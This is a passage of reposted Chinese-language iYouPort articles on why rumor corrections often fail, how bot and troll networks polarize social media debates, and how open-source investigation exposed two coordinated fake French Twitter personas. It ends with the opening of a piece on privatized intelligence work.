这当然不是说均衡信息完全不能纠错，而是因为偏颇吸收现象在不同环境中起作用。下面尝试分析下相关情境。

「图」

「图」

纠错究竟是否有效

2008年，奥巴马的竞选团队组建了一个名为“对抗诽谤”的网站，列出并揭穿虚假消息。有理由相信它是成功的，因为只要假消息一出头，立刻会被摘录并批为诽谤，尤其是它的受众覆盖面比较大，一则被定义为诽谤的消息大多数人都不会再接受了。

美国一直有很多辟谣的网站。在互联网上发布正确消息和传播虚假消息一样容易，但必须指出的是，纠正错误有可能同时强化了人们对错误的印象，让原本没看到假消息的人也获知了。

比如大选中一则流传甚广的消息称“俄亥俄州仓库里发现了数万张克林顿的假选票”，反对克林顿的人会相信这则谣言，支持者会积极寻找辟谣的信息来反驳。如果这时候权威机构加入辟谣行列，支持者会兴高采烈，而反对者只会连权威机构一起质疑，同时更加坚定了自己的立场。

如果虚假消息正在流传，试图去纠正也许不会发挥作用，纠正行为不但没有效果甚至有可能带来伤害，一旦流瀑发生、或群体极化效应已经使人们的错误观点生根发芽，那些试图说出真相的人基本是白费心

思。思想市场并未破产，但必需承认它有些时候会失灵。

「图」

「图」

辟谣会在什么时候有效，什么时候无效

一些假消息很有趣，另一些没那么有趣但令人兴奋，也许只是为了一点点兴奋和激动，人们就愿意相信它，并传播它。即使假消息令人愤怒，人们也会因愤怒而相信它们，并且在刺激性情绪影响下的状况会比较好玩，因为某种程度上这类情绪都有特定的背景和根据，于是就更容易骗过直觉。

还有一些假消息令人心烦，带有恐怖的意味，而且这种程度越高，人们越倾向于认为它是假的。如果这个时候另外一则消息告诉人们“不用担心”，人们反而会开始害怕，因为辟谣信息将人们的注意力拉回了现场、集中在风险上，恐惧程度就会加强，人们会认为无风不起浪，即便虚假也可能有一定程度的真实，“否则费劲辟谣干什么”？这就是为什么说中国政府的常规做法是最愚蠢的，并不只有它公信力匮乏这一个原因。

还不止这些，既有观点和立场的强度所起的作用远高于假消息本身。当人们的既有观点并不那么强烈的时候（处于摇摆状态），他们就比较容易受到新信息的影响。举个例子，如果你对转基因技术没什么了解，也没有太强烈的立场，但读到一篇文章称“转基因食品会致癌”，你对它有70%的信任。当时你处于信息均衡的环境中，接下来又读到了辟谣的信息：转基因对健康无碍，这个时候对前面假消息的信任程度就会快速降低。如果对两个相反立场的信息都相信，最终更有可能放弃对该议题的深究。

对大多数谣言来说，大多数人不会有强烈的既有观点，而且不会只信一方不信另一方，这种情况下思想市场就能运转良好，不同观点最终会趋向真理。人们也会听取不同意见来决定自己的立场。辟谣就是有效的。

在社交网络上，人们的表达和转发（如果不是拿了红包而转发的话）基本都是为彰显自己的立场的行为，内容生产者为了获得更多转发和点击在创作和选题方面也会尽可能突出一个立场或姿态，这个姿态与其目标受众的姿态相一致。假消息生产也是如此，尤其那些资金匮乏的边缘媒体，在这方面会加倍卖力。于是这里的思想市场很可能没有

事实上的辩论，而是数人头、拉队形、拼知名度的乱战。

在中文网络上，人际关系的能力被很大程度的突出了，人们对信源的判断远高于信息本身，中文网络的社群中很多假消息越是辟谣传播得越快，主要因为发布辟谣信息的人在相关群体中没有建立起足够的强连接关系。在这种情况下如果才能让人们转变观点呢？

最好的做法并不是给他们看对手方的观点和相反的信息，而是给他们看那些立场接近的人的观点。比如你是A圈子的成员，你听到了一则关于B圈子如何恶劣的假消息，你将信将疑。这时候如果B圈子的人来辟谣，你肯定马上更加信任这条假消息了，但如果辟谣的是A圈子成员，你很可能会重新考虑是否该信任它。

一个压制假消息的最好方法就是去证明，那些原本“应该相信它”的人实际上并不相信。这也是为什么不支持以拉黑等方法摆脱那些很容易轻信谣言的群体，摆脱很容易，但摆脱后你和他们就站到了对立面上，这之后你再说什么、说的多有道理，他们也不会再相信。

「图」

「图」

适得其反的纠正

必须承认情绪化这种东西是非常厉害的，如果你陈述的真理会把轻信错误观念的人激怒，认知失调肯定在第一时间把真理弹出去。千万别太指望理性能管用，尤其是在互联网上。大多数人面对纠正性信息时就已经更加坚定自己最初的观点了，因为动机是捍卫自己的正确，而不是真理真相。

这种时候，纠正性信息越多，人们就越会坚持错误，纠正性信息反而会让人们把注意力集中到有争议的问题上来，这种集中本身就是强化既有观点。你一定熟悉中文网络上那些月经之辩，比如文革会不会重来、公民社会究竟是痴心妄想还是必需必然、暴力or非暴力……你能看到无知犹如水涨船高，从最初的貌似理性论述，变成后来的拉队形骂仗，陈词滥调，毫无进展。

—— 未完待续 ——

原文

网络水军如何不断操纵您在社交媒体上看到的内容 - iYouPort

心理战和信息战

以今年最火热的BLM抗议运动为例，解释水军是如何控制您的认知的，以及如何分化并瓦解了预期中的反抗行动

「图」

「图」

越是价值含量高的内容，越是难以在社交媒体上得到传播。您肯定已经知道为什么了。那么操纵者是如何做到这点的呢？

像 Facebook、Twitter 和 Instagram 这样的社交媒体平台最初曾经被认为是与朋友、家人和感兴趣的人建立联系的一种方式。但是，如今的社交媒体，只会让人们变得加剧分裂和孤单。

毫无疑问，如今的人们已经非常熟悉政府间谍和黑客都在使用社交媒体操纵大众的认知和发起攻击。您可以在我们的专栏 “心理战和信息战” 中看到详细报告和分析。

但是，也许并非每个人都明白这些操纵者是如何做到的。

- 《政治的两极分化如何在社交网络上体现？为什么这样的生态很容易被操纵？—— 围观 Twitter 活动地图》

机器人和袜子木偶

社交媒体平台不仅仅是为你提供你关注的账户所发布的帖子。他们还使用算法来部分根据 “点赞” 或 “投票” 来整理您看到的内容。也就是说，它向某些用户显示一个帖子，而这些人做出的正面或负面的反应越多，向其他更多人突出显示该内容的机会也就越多。

可悲的是，事实上只有那些谎言和极端偏执的内容才能经常引起更多

人的“反应”，因此只有这类内容迅速而广泛地得到了传播。

「图」

「图」

2018年的档案照片，俄罗斯圣彼得堡的“巨魔工厂”：美联社

这是否说明互联网上的人更多只会追求虚假的极端偏执的内容？不是的。因为操作“投票”的人并非完全是真实的人类账户，大多数是一大群虚假的机器人水军。控制机器人大军的幕后推手被称为“僵尸牧民”，这类人是有政治目的和经济利益的。

例如，你知道冠状病毒为什么在互联网上如此热门吗？也许您认为是该病毒大流行的杀伤力？或者其引发的各种危机？这都不全面，事实上，最近的调查显示，在 Twitter 上讨论冠状病毒的账户中有超过一半是机器人。

其实很多机器人水军制作得非常粗糙，比如这个报告中提出的案例，数千个具有相同个人资料图片的账户一起点赞某些帖子。很多水军账户每天发布数百次，远远超过了人类的能力。

还有一个自称是佛罗里达州“全美爱国军嫂”的帐户，该帐户用英语讨论移民问题，但历史记录显示，该账户过去曾用乌克兰语发布。

这样的假账户被称为“袜子木偶”—— 也就是被一只看不见的手操纵着用另一种身份说话的东西。

这里指的仅仅是恶意的用于信息战的袜子木偶，并非安全策略中推荐给公民调查人员和人权维护者掩护自己真实身份所采用的袜子木偶。

在许多情况下，通过查看帐户历史记录就可以很容易地发现这种欺骗行为。但是在某些情况下，要使袜子木偶账户看起来真实，需要进行大量投资。

「图」

「图」

假人“ Jenna Abrams”目前该账户已经失效

例如，拥有7万名追随者的 Jenna Abrams 因其仇外心理和极右观点

而被《纽约时报》等主流媒体引用，但实际上，它只是一个由俄罗斯巨魔农场控制的假人。

很多主流媒体都多次推动过信息战假人，比如下面这些近期的案例：

- 《享誉盛名的"五角大楼官员"事实上是一个假人，如何揭露"他"？（第一部分）》
- 《合谋的欺骗：虚假的五角大楼官员是如何被发明出来的？（第二部分）》
- 《一个惊人的案例：积极的反政府抗议者居然是个假人》

这并不奇怪。那些媒体只关心所谓的热点，根本不去考虑 "热点" 是如何形成的。而信息战水军专门从事 *创造* 热点的工作。

制造混乱

也许很多人至今仍有一些误解，总是认为 Trolls 是在 "引导话题" 和强行让其他人相信他们的理念。其实并非如此。

事实上 Trolls 通常并不关心实际讨论的问题，而是关心如何更大程度地制造分裂和不信任。

我们曾经发布的很多有关信息战的报告中都强调了这点，即 网络水军是 **同时** 在两个极端上加强，而非某一个固定立场。部分推荐报告如下：

- 《诈：在线信息战操纵战略的多样化》
- 《巨魔崛起：政府资助的网络水军正遍布全球》
- 《毒霾—监控审查网络的全球蔓延：中国和俄罗斯的共同点与区别（长篇报告）》
- 《「可视化信息战」 第 1 部分：在线媒体上的政治宣传、压迫和攻击》
- 《「可视化信息战」 第2部分：社交媒体战场、人工政治和逮捕》
- 《选举如何成为一门生意：私人情报市场和现实的有偿操纵者》
- 《看清信息战：2019全球有组织社交媒体操纵清单》
- 更多内容见 "心理战和信息战"

也许仅仅描述不容易理解这件事。那么我们来举一个例子。就以今年最火热的、也是貌似 "争议很大的" "BLM运动话题"为例。

1、当网络水军朝着支持和反对两个极端加强舆论力度的时候，所有人只能看到自己感兴趣的 *那一个* 极端，而不是全局。这是社交媒体的天然回音壁效应造成的。

也就是说，支持者 —— 即便是非暴力运动的信仰者 —— 也会看到鼓励更加激进的抗议行动的内容，包括鼓励更多暴力。

推动“更激进”的网络水军会看起来像是积极的行动派，由于他们所彰显的“最坚定反种族歧视”立场，以至于人们难以识别他们的用意。厌恶暴力的人们甚至会由此怀疑民权运动本身（你看到有人开始抨击所谓的“政治正确”了吗？嗯，就是那样）

然而，不要忘了，历史上曝光的诸多案例已经明确显示，政府间谍和警察操纵的渗透者都是在用激发暴力的方法来瓦解反抗运动的。在下面看到：

- 《警察渗透抗议运动简史》

即便您真的很清醒、明确地捍卫非暴力运动，也会因这些网络水军所煽动的“整体暴力气氛”而困惑，甚至因此怀疑这场运动本身。（有些舆论已经升级到怀疑整个民权运动历史的合法性。这种被操纵的结果非常悲剧）

- 我们分析过为什么暴力不可取，以及为什么非暴力不是道德问题而是战术问题，见《中国社会能从美国的反抗运动中学到什么》倒数第二节

2、另一方面，带有一定程度上的歧视心理的人们会被同时在另一个极端下力的水军所极化 —— 他们是反对者，他们会制造各种虚假信息以污蔑抗议者和所有黑人社区，并同时扭曲民权运动本身。

这就是您在某些中文网络上看到的转发内容。这些虚假内容被翻译成中文在中国网络传播，甚至一些知识分子、“人权律师”、和“异议人士”也中计了。

然而制作和传播这些内容的幕后“僵尸牧民”却往往被理解为“白人至上主义者”或者极右翼。一定程度上可能，但肯定不是全部，其中肯定还包括同时在两个极端下力的网络水军 —— 而人们，再一次，只看到了其中一面。

3、尤其不容易判断被网络水军操纵的原因包括，我们中大多数人能看到的内容都来自于我们关注的人/熟悉的人/朋友和亲属的转发和评

论，简单说就是那些我们不会怀疑其持有恶意目的的人。

而这些人也是分别通过他们关注的人获知的相关消息。想象一个涟漪，一圈一圈地扩大，而激发这一涟漪的力量就是上述提到的“社交媒体投票”，即 点赞和转发量，该“投票”很大程度上是由网络水军推动的。

我们中很多人都不会去质疑那些“大家都在转发”的内容，而批驳验证非常繁琐，需要一定时间才能完成，而虚假信息却像洪水一样冲击，合理的验证流程完全跟不上造假的进度；甚至其中很多内容极为浅薄，属于“低端造假”，而正是这类内容令信息验证者困惑 —— 因为它们真的不值得浪费时间。

但正是这些粗制滥造的虚假信息在很大程度上实现了网络水军的预期目的。

- 《粗制滥造的图像和视频依旧不影响骗人，这是为什么？》

4、整体上这就是为什么您看到绝大多数人 —— 包括那些著名知识分子和学者 —— 都在努力将议题固定在种族问题上，从而偏离了这场运动真正的目标：反警察暴力和法外杀戮、反对不公正和阶级压迫。

因为人们看到的是“周围人”都在讨论种族主义问题，社交媒体鼓动的“参与即存在”价值观令人们不得不去“说两句”。尤其是，正如我们在《说明》中所解释的，社交媒体媒介形成了某种障碍，它会不断促进人们彼此间的批评和争执（而非讨论），它为吵架带来了更大的吸睛度“奖赏”。

- 在这里看到《对IYP为什么关注美国抗议运动的简要说明》
- 为什么在网上吵架令人兴奋？《鄙视带来的优越感》

争执的结果是什么？如您所知，所有人更加分裂，当权者的维稳战术中最重要的一环“打散”能带来的分化效果可能都没有如此强劲。这就是为什么您不会看到当权者审查和屏蔽种族相关的争执包括虚假消息。

不仅不会审查和屏蔽相关虚假消息，甚至这些寡头平台还会推动它们给更多人看到 —— 因为争执带来了更多的用户更长时间地驻留在这些平台上，这意味着更大量的行为数据资源和更高额的广告收入。

IYP的推特账户几乎没有关注中文内容，我们也没有设置任何包含中文内容的公开 lists。虽然我们使用简体中文发布推文。为了可以做到

尽可能及时回复读者留言的问题，我们打开了推特通知服务。

但是，就在BLM运动最火热的阶段，我们收到的推特通知中包含了大量中文内容，都是我们从来没有关注过的/甚至没有听说过的“热门”中文账户，并且，全部都是反对BLM运动的内容和支持特朗普的内容。推特的算法令人困惑。

那么算法究竟是什么？谁也不知道。这些信息受到商业法保护，外界无权了解。但一个显而易见的事实，该算法推荐给IYP这类内容，很可能是期待[刺激]我们的账户加入这场争论。如上所述，那将能为平台带来更多的广告收入。

我们在《说明》中已经解释过这点：“不能被简单的支持或反对的意见分裂中国的活动家团体。否则，它将比浪费时间更糟糕。”

- 《恶性偏见和无实效的争议》

我们坚持认为，如果如此层出不穷的法外杀戮事件发生在中国，想必大多数人都能具备清楚的认知，作出立场明确的捍卫正义的判断，虽然不一定会有反抗行动。

简单说，人们的基本认知很可能并没有被扭曲到不存在本土反抗之可能性的程度上，而被网络水军操纵的分化和极化却极有可能瓦解联合的能力，没有联合就无法形成更无法赢得反抗斗争。

很多分析都在致力于从代际层面和政治派系层面来解释为什么某些人比其他人更容易轻信假消息和容易被操纵。比如，研究表明，在成熟的互联网中长大的Z时代人群倾向于将一切来自互联网的内容视为娱乐，而不是知识，于是他们被认为倾向于不会轻信任何网上的内容。再比如经济学人分析过，为什么保守主义者更容易被假新闻所欺骗《Fake news is fooling more conservatives than liberals. Why?》。

上述都有一定的道理。但我们更愿意相信，批判性思考是避免被操纵的最有效方式。最基本的，是要认识到，互联网上有着无处不在的操纵和误导。

不要错过我们尚未完成的系列内容：

- 《发现你生活中的操纵者：在叙事矩阵的边缘（1）》
- 《认知幻觉和各种谬论：你是如何被绕进去的？- 让你只想到我希望你想的事（2）》
- 《什么样的人最容易被操纵：心理控制的状态是什么样的

（3）》
- 《您真的知道自己在做什么吗？：让你只想到我让你想的事（4）》
- 《让你感到愧疚或无愧，你就会主动满足我更多：让你只想到我让你想的事（5）》
- 《操纵者如何用描述转变你感知世界的方式：让你只想到我让你想的事（6）》
- 待续……

5、让你绝望。

Trolls 不仅仅是煽动分歧，它们还致力于鼓励人们相信真理不再存在。

分而治之，让人们不再信任任何可能充当领导者或可信赖声音的人。削弱士气、让人们变得沮丧和低落，从而陷入虚无。这些都是破坏性攻击的有效策略。

当你看到的满眼都是 “小粉红”、无知和愚蠢时，保持希望并不是一件容易事。而只有希望，才是继续拼搏和努力的推动力。如果没有希望，我们都可以就此屈服了。

让你绝望，这正是网络水军希望达到的目的。

- 我们在去年底的访谈中警告过这件事，关于：您看到的愚蠢和偏激很可能并非真实的社会生态；如果您连续看到**20**个中文 “法西斯主义者” 的咆哮时就认为 “中国人都**” ，那将是操纵者最满意的效果《与IYP下午茶》

如果您尚未意识到这一严重性，您并不孤单。即使是社交媒体研究人员，也很可能会低估这些攻击对自己的看法的影响程度。

您可能认为自己很聪明，可以仅仅阅读那些自己想要的东西，丢弃其余部分，毫发无损地走开？事实上并非如此简单。每个人在看到那些被点赞了几千次的愚蠢帖子时，也会下意识地认为 “那就代表了公众舆论”。

你会受到算法暴政推送的内容的影响，也会受到自己的朋友和熟人观点的影响，你的朋友和熟人也会受到他们的关注者的影响。

整个社会都"被巧妙地操纵着"，人们误以为彼此处于许多问题的"对立面"上。

这不是中国、美国或哪个国家的独特景观，而是在世界范围内一直都在发生着相同类型的攻击。

- 通过使民主国家的声音彼此对立冲突，威权政权将开始看起来比混乱更可取；
- 通过让异议人士和反抗活动家彼此矛盾，将没有人再能够挑战专制当权者，政权自然稳固 ……

6、难以期待这些寡头公司的平台有效地采取行动。正如上述推特推荐给IYP账户的种族主义中文内容那样，这些平台有明显的利益动机。他们只在权利组织的不断抵抗和舆论不断谴责的情况下才会迫不得已采取一些行动。

而人们通常不会支持采取行动 —— 包括我们，也不支持平台主持的审查和封锁，因为每一种集中化审查都将意味着侵害言论自由。

更何况，已经有很多证据表明，如今的信息战更多采取真人操作，而非机器人水军。我们也许可以剥夺那些机器人的言论自由，但当针对真人时，除非能拿出证据证明其受雇于某个权势，否则任何一种愚蠢都在言论自由的保护范围内。

- 仅仅揭露曝光并不起作用，关于为什么，见《如何在网上兜售谎言？—— 他们承诺可以"按照你的意愿改变任何现实"》

控制

所以，您对此能做些什么？

我们的 列表-3 中"让它民主" 板块收集了很多验证信息的技巧、工具和思考方式，也在 "战略性欺骗"、"社交工程" 等栏目中详细分析过诱骗和操纵的手段。这是旨在从媒体素养角度上将辨析能力普及给更多人。

但仅仅提高普通互联网用户的媒体素养是不够的。您还需要至少做到以下。

首先，您应该努力逃离寡头平台的算法控制，避免让算法暴政统治您的认知。这方面推特的确强过 Facebook，因为有办法在推特一定程度上绕避算法操纵。方法见下面：

- 《绕开推特算法噪音、使用基本运算符挖掘推特数据的方法》

IYP的官方推特账户没有做任何设置上的修改，这是为了及时了解到在通常情况下会发生什么。而您无需分析这些，只需要能做到绕开算法的操纵。

当您做到时，也许您会惊讶地发现曾经一直被错过的内容，其实它们就在那里，甚至与您“互粉”的账户发布的内容，在算法的策动下您也很可能无法看到。

其次，向社交媒体平台施加压力，要求其清除具有明显机器人迹象的帐户。在下面看到判断方法，这很重要，因为如果您的举报连续出现错误，推特将很有可能不再理会您：

- 《如何分辨：机器人、僵尸网络和 trolls》
- 《如何发现社交媒体上的机器人账户？- 12种方法》

第三，注意 **Trolls** 最喜欢的问题，并对其保持怀疑态度。他们可能最有兴趣制造混乱，但他们在某些问题上也表现出明显的偏好。

最后，也许最重要的是，像使用任何其他让您上瘾的、有毒的物质一样，谨慎地使用社交媒体，并致力于更多投入线下的真实社区建设和对话。

- 《真正的社区应该是什么》

面对面聆听真实的人、真实的故事和真实的意见，然后从那里开始，协商解决我们共同面对的问题。〇

原文

网络水军如何试图影响选举？ - iYouPort

开源情报-每个人都可用的武器心理战和信息战

一个调查案例，观察对选民的在线心理战 —— * 附 IYP 的 OSINT 资源列表*

> 挖掘网络水军的工具早已成为全球多数希望维护民主进程的国家的重点兴趣。这项工作的第一步就是要确定水军的身份，它们的幕后是什么人？它们的具体任务是什么？任何集中化的审查都不是解决方案，更何况这些审查的不透明和混乱状态找已严重威胁了言论自由。公民应该自己掌握一套方法来验证水军，这就是 OSINT 技术派上用场的一方面

「图」

2018 年6月，一个基本上不怎么活跃的 Twitter 帐户 @viepepere（存档链接）向 @_rabbindesbois_ 发送了一条威胁性信息（根据他最近出版的书。他是法国人，著名前暗网供应商）。这条信息是俄语的，“ Мы знаем, что вы делаете. Вы не должны были говорить. Глаза на вас. Руки скоро.”大概意思是“我们知道你在做什么。你不需要知道我们是谁。我们正在关注你，并会迅速做出反应”。根据一位讲俄语的朋友说，这句话的结构很奇怪，这可能意味着发布者不太了解俄语，使用的是谷歌翻译，或者来自前苏联国家。

仅这一点就可以把它变成另外一个故事，但让我们先专注于那个特定的帐户，一分钟。

「图」

法国和俄罗斯的怪异组合 — 屏幕截图显示的是最后一次活动（2017年4月14日的法语消息和2018年6月13日的俄语消息）

对推特的 **OSINT** 调查

「图」

乍一看这个帐户挺普通的，我们看到一个年轻的法国女孩，显然居住在巴黎（封面图片显示的是艾菲尔铁塔夜景，个人资料图片的背景显示的奥斯曼建筑物也是可用的提示）。

仔细观察，简介上写着她是穆斯林，“反对墨守成规”，使用#musulmans（#muslims），#Marine2017（极右候选人），#islamophobie，#islam 等主题标签。

到目前为止没有什么太奇怪的，不过我们都知道水军巨魔在这个社交网络上非常常见。

并且，对于她的个人资料图片来说，看起来有点不对。

使用反向谷歌图像搜索没有找到任何特别的内容，因此这很可能是一个私人图像（不是从网上挖的）？

没这么简单。

并不需要你是一个 Photoshop 专家才能看出，这个女孩的头部影像是被裁剪过的，可以注意到她的头发周围有一种奇怪毛刺效应。验证图片是否过修改，这非常容易（别急，文末我们会总结一个 **IYP** 曾经介绍过 **OSINT** 工具列表）。

「图」

Error level analysis via FotoForensics

她的背景图像确实是在巴黎。细心的观察者可能会认出左下方的 Pont d’Iéna 和背景中高大的 Grenelle 塔。

开启地理空间情报 **GEOIN**T 。谷歌地图是一个很棒的工具，我们可以确定这张照片的确切位置：靠近巴黎10 Avenue d’Iéna 的香格里拉酒店。

「图」

拍摄照片的大致位置（10 Avenue d’Iéna，75116 Paris，France）

「图」

搜索酒店名 此图像会作为第一个结果出现

「图」

个人资料图片和 Google 图片几乎非常匹配

我们可以确认背景是从香格里拉酒店的套房露台位置拍摄的照片。

现在·你需要注意的不是建筑物那种不能动的东西，而是天空中的云。显然，原始图像在某种程度上被调整大小/修改/旋转，处理过了（可能作为保护，以避免被反向搜索检测）。这证明了个人资料图片是假的，并经过了精心的编辑，使其看起来特别像真的。

你可能会问，后来这个帐户的内容怎么样？好吧，它充斥着针对法国极右翼的仇恨消息：

「图」

他说 “一个好的法西斯主义者是一个死了的法西斯主义者”

「图」

这个就不翻译了。是歧视言论

当一个反法西斯主义者和右翼活动家成为“朋友”

被提及和转发最多的用户之一是 @oummoriste（存档链接），与 @viepepere 角色完全相反。这个“oummoriste”帐户似乎是一个极右翼的同情者，还有一些伊斯兰恐惧症的推文（“ISLAM GO TO HELL！”）。

「图」

那么他们之间是否有联系呢，是否由同一团体/个人操作？看看我们知道什么：

- 他们都使用小写的 screen_name，但所有大写的名称都显示为“ISLAM，MON AMOUR” 和 “VIVE MARINE”;
- 两个账户分别于2016年10月1日和10月2日连续创建;
- 两者都只使用 Twitter Web 客户端（从元数据中可以看出）;
- 两者都在发送有关法国选举主题的信息，例如（主要是）移民和伊斯兰教;

- 他俩互相关注;
- 两者都以一种奇怪而令人尴尬的方式相互交流;
- 他们有着相同的活动日历（见下文）;
- 两者都使用类似的电子邮件地址 loCon@gmail.com：

「图」

互动和活动

这两个角色最能相互影响，但也跟随了很多 alt-right 主义者和极右翼活动家（法语中的“fachosphère”）— 现在很多账户被暂停（@AigleDissident，@ corsica_lena，@ JeremPatriote，… ）他们都与大约相同数量的账户进行交互（@viepepere 和 @oummoriste 分别为 93个和88个），这可能意味着他们在这个宣传任务中的工作量相同。

「图」

这两个账户的互动图

两个帐户有着很多大致相同的主题标签

- #IslamHorsDEurope (23, 5%)
- #Marine2017 (17, 3%)
- #Sarkozy (15, 3%)
- #Paris (14, 3%)
- #Presidentielle2017 (11, 2%)
- #Primaire2016 (10, 2%)
- #folloback (10, 2%)
- #Juppe (10, 2%)
- #CCIF (10, 2%)
- #Hollande (9, 1%)

活动分析

「图」

(using Tweets Analyzer)

我们可以大致推测活动可以与 UTC ＋ 3 时区相匹配，活动开始于 UTC 时间 06:00 左右（当地时间上午9点）、中午和当地时间的午休时间。

「图」

日历热图（2016–2017）

通过上图你能看到，这些账户在法国大选初选阶段非常活跃（2016年10月13日的第一次公开辩论）。在2017年4月23日（第一轮）总统选举前几周再次活跃起来。请注意 2016 年10月至 2017 年4月期间的长时间休眠状态，这对任何类型的普通账户来说都是不正常的。

隐蔽的 **PSYOPS** 在行动

机器人或虚假账户可以采用几种方法来操纵大众：伪装基层、传播假消息、挑衅他人（为什么我们称之为“tolls”）和各种社交工程技术。这些角色假装成法国人，把法国选民推向极端化。

移民是一个热门话题，而且一直都是。考虑到法国的政治格局，难怪这是一个激进叙事的黄金话题。我们看到极右翼在整个欧洲获得了更多选票，而且我们都知道这些极右翼政党希望退出欧洲。毕竟，脱欧运动可能是俄罗斯的第一场胜利。虚弱的和分裂的欧洲可能意味着更强大的俄罗斯。

梳理

到目前为止我们都得到了哪些情报数据？

- 俄语推文最近的账户活动是在一年前 [事实];
- 匹配的 UTC ＋ 3（莫斯科）时区 [中等信度];
- 尽管使用了俚语，但还是出现了一些不同寻常的法语语义错误。奇怪的是，很多推文都是英文的（大约 14%）。这可能意味着一个外国人正在写法语信息 [低信度];
- 一种非常零星的活动状态，其模式与法国政治日历相匹配 [高信度];
- 精心设计的个人资料图片，可能是为了避免被怀疑并使其看起来合法 [高信度];
- 账户创建于2016年10月，法国“选举期”的宣传活动时段 [事实];
- 人物角色严重依赖主题标签来提高他们的推文的可见性 [高信度];
- 帐户被用来激发和挑衅极端主义者（针对极左翼和极右翼活动家）[高信度];
- 帐户语言（lang属性）设置为 fr 或 en（法语或英语）[事实];

- 都是仅使用 Twitter Web 客户端的帐户（即通过网络浏览器使用 www.twitter.com），可以很容易与“匿名”工具结合使用，例如 Tor 或 VPN /代理 [低信度];

总的来说，我们可以高度自信地宣称这个特定的网络至少由两个被远程操作的假人物组成，目的是煽动种族或宗教仇恨。

在集中化社交媒体状态下，宣传和心理战已经被很多国家所钟爱，对俄罗斯来说它是外交政策的关键力量，特别是或多或少地公开使用 trolling。克里姆林宫试图通过制造混乱、引发恐惧和削弱对民主的信任来实现政策瘫痪。

俄罗斯有可能是头号嫌疑人，但我们先考虑下其他选项。现在知道 Rabbin des Bois（最初的威胁信息接收者）是犹太人，并且在以色列有许多讲俄语的犹太人。于是我们也很容易怀疑是以色列（该国同样匹配 UTC ＋ 3 时区）。

再看看这里行动的明确目的，是使目标国家的极化。我们注意到在美国发生了同样的事，其中明显使用针对两个对立政党的 Facebook 广告，并且大量使用 memes 试图使信息更容易被传播。

「图」

https://www.reddit.com/r/dataisbeautiful/comments/8k3z1i/this_is_not_normal_voting_patterns_of_every/

一个彻底两极分化的国家会变得麻木、无法改变或采取任何重要的政治决定。推特水军制造分化实际上是一个非常高效的长期战略，以推动一些对手的政治议程。

这种新型的网络战可不仅仅是一场软战。它还可以通过改变少数人的思想来影响整个国家的议程，然后慢慢地征服其余部分，直到达到临界点。通过挑衅来自对立派系的双方，你正在为火灾添加燃料。

影响评估

两个被检测到的“巨魔”帐户相对低调，几乎没有追随者、只有极少数的转推。在这个特定的网络中，我会说他们影响力很小，但很难给出任何有价值的指标。大多数推文都没有被转发，这意味着整体可见度可能很低。我个人并不认为这个特定的网络在影响人们方面有任何成功。

但是，如果在法国和整个欧洲都有成百上千个这种小型的人物角色激发极左翼和极右翼，可能会是什么样的结果？

需要想到，你能看见的有可能只是一片树叶，而它的背后是整个森林。于是你可能还需要更多的追踪工作。

附：IYP 的 OSINT 资源、工具和调查演示资源列表

（一直在不断补充中）

- 《虚假消息鉴别工具箱》
- 《开源调查工具库》
- 《击败社交媒体阴谋论（思路演示）》
- 《深圳台风的视频是假的，为什么》
- 《如何在地图上轻而易举找到一个 Skype 用户的具体地理位置？》
- 《如何从任何 SQLite 数据库中提取电子邮件账户？》
- 《用于信息验证的基本地理定位工具》
- 《用开源调查揭露腐败》
- 《开源调查：收集信息追踪钱的轨迹 #OSINT 基础和一个 Timeline 示例》
- 《信息验证：如何自动反向图片搜索 YouTube 和 Vimeo 的视频？》
- 《如何抓取交互式地理空间数据？ 》
- 《高级运算符辅助开源调查：巧用搜索引擎挖掘情报》
- 《留下证据：如何存档开源材料？》
- 《民间数据库和处理分析工具：挖掘黑钱、腐败、有组织犯罪、离岸公司……》
- 《开源调查工具：情报地图、“黑客搜索”,及其他 #OSINT》

另，

- 《信息战：揭露政府的宣传机器如何伪装成“独立媒体”和 NGO 以混淆视听》
- 《“疯狂胜过虚无”：开源调查网站创始人谈 #OSINT 技术捍卫公民权》
- 《巨魔崛起：政府资助的网络水军正遍布全球》
- 《政治的两极分化如何在社交网络上体现？为什么这样的生态很容易被操纵？ —— 围观 Twitter 活动地图》
- 《“谷歌地图”是比詹姆斯邦德更棒的间谍》
- 《新报告：为什么虚假总是能‘击败’真相？机器人水军并不是主

要原因》

IYP 的资源和能力都非常有限，我们对中国的了解程度也非常低。但是我们有技术，有想法，这些技术和想法在全球都是通用的。我们一直致力于将这些技术贡献给中国的朋友，那些对中国最了解的人们。非常期待能看到来自中国的优秀调查报告。捍卫真相！民主需要知情。■

感谢帮助 ***iYouPort***！

PayPal 捐赠渠道已开通 "//https://paypal.me/iyouport//"

原文

解密文件：科技产业巨头为什么能成为巨头？私有化间谍活动如何发动了认知战争？ - iyouport

公私监控伙伴关系心理战和信息战长读集中化毁掉互联网自由

【2018年7月25日存档】“今天主宰智能行业的许多公司都是当年通过向情报界提供技术服务和产品而开始的（否则他们没有今天这般强大）”，“大多数情报工作不是由政府机构执行的，而是私人情报公司，而且大部分工作涉及情报工作的另一个共同方面：欺骗”……

这里其实是两篇文章，我们将它们放在一起是为了说明，私有化间谍活动并非只有情报信息“安全性”的问题，还有操纵的问题。今天的大多数情报工作不是由政府机构执行，而是由私人情报公司执行，而且大部分工作都会涉及情报工作的另一个共同方面：欺骗。

也就是说，它不仅涉及隐藏现实，还涉及制造现实—— 制造符合当权者利益的“现实“。后面一篇文章为纽约时报的揭露，情报机构借手承包商操纵社会舆论、抹黑说出真相的人。

此前不久有新闻称，中国正在考虑“警务外包”，目前没有具体细节被公开。但这一趋势似乎不是虚晃，众所周知中国一直在效仿美国的所有弊端（一点优点都没学到）利用其发展自己的帝国路线，同时作为民族主义护盾。我们希望本文能帮助中国人理解私有化间谍活动的深意，以及公民社会应该如何利用基本知情权寻求真相。

欢迎来到 Matrix 的世界！不幸的事，这不是电影。

美国是许多国际情报共享的缔约国，其中最突出的就是所谓的“五眼”联盟。

五眼联盟诞生于第二次世界大战期间的间谍工作布局，促进了美国、英国、澳大利亚、加拿大和新西兰之间信号情报的共享。五眼国家同意默认交换他们收集的所有情报，以及与信号情报操作相关的方法和

技术。当五眼第一次同意这种情报交换—— 在第一条跨大西洋电话线铺设之前—— 他们几乎没有预料到今天等待他们的技术进步。

然而，我们仍然对目前关于五眼之间情报共享的法律框架一无所知，包括美国政府获取的信息类型、管理美国情报机构的信息获取、和传播大众私人通信和数据的规则。

